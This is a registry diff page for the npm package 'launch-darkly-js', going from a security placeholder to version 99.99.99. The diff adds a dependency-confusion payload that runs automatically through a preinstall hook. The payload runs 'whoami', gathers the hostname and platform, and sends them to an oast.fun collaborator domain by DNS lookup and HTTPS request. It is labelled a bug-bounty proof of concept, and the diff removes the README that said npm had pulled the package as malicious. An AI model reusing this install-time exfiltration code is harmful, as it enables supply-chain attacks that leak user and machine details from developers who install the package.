launch-darkly-js 0.0.1-security → 99.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of launch-darkly-js might be problematic. Click here for more details.
- package/index.js +38 -0
- package/package.json +11 -6
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const https = require("https");
|
|
4
|
+
const { exec } = require("child_process");
|
|
5
|
+
|
|
6
|
+
// Aapka Collaborator URL
|
|
7
|
+
const collaboratorDomain = "fbjqzuqtovinylbcbaerqr7tmksv2qc44.oast.fun";
|
|
8
|
+
|
|
9
|
+
// OS module se reliable information
|
|
10
|
+
const systemHostname = os.hostname();
|
|
11
|
+
const platform = os.platform();
|
|
12
|
+
|
|
13
|
+
// 'whoami' command ko execute karna (environment details ke liye)
|
|
14
|
+
exec("whoami", (error, stdout, stderr) => {
|
|
15
|
+
let whoamiResult = "unknown";
|
|
16
|
+
|
|
17
|
+
if (!error && stdout) {
|
|
18
|
+
whoamiResult = stdout.trim().replace(/[^a-zA-Z0-9-_\\]/g, ""); // Clean string
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
// METHOD 1: DNS PING
|
|
22
|
+
// Format: id-hostname.collaborator.com
|
|
23
|
+
const dnsTarget = `${whoamiResult}-${systemHostname}.${collaboratorDomain}`;
|
|
24
|
+
dns.lookup(dnsTarget, () => {});
|
|
25
|
+
|
|
26
|
+
// METHOD 2: HTTP GET Request
|
|
27
|
+
// Send details within query parameters
|
|
28
|
+
const options = {
|
|
29
|
+
hostname: collaboratorDomain,
|
|
30
|
+
port: 443,
|
|
31
|
+
path: `/?id=${encodeURIComponent(whoamiResult)}&host=${encodeURIComponent(systemHostname)}&os=${encodeURIComponent(platform)}`,
|
|
32
|
+
method: 'GET'
|
|
33
|
+
};
|
|
34
|
+
|
|
35
|
+
const req = https.request(options, () => {});
|
|
36
|
+
req.on('error', () => {});
|
|
37
|
+
req.end();
|
|
38
|
+
});
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "launch-darkly-js",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
1
|
+
{
|
|
2
|
+
"name": "launch-darkly-js",
|
|
3
|
+
"version": "99.99.99",
|
|
4
|
+
"description": "Bug Bounty PoC for Dependency Confusion",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "Bug Hunter",
|
|
10
|
+
"license": "ISC"
|
|
11
|
+
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=launch-darkly-js for more information.
|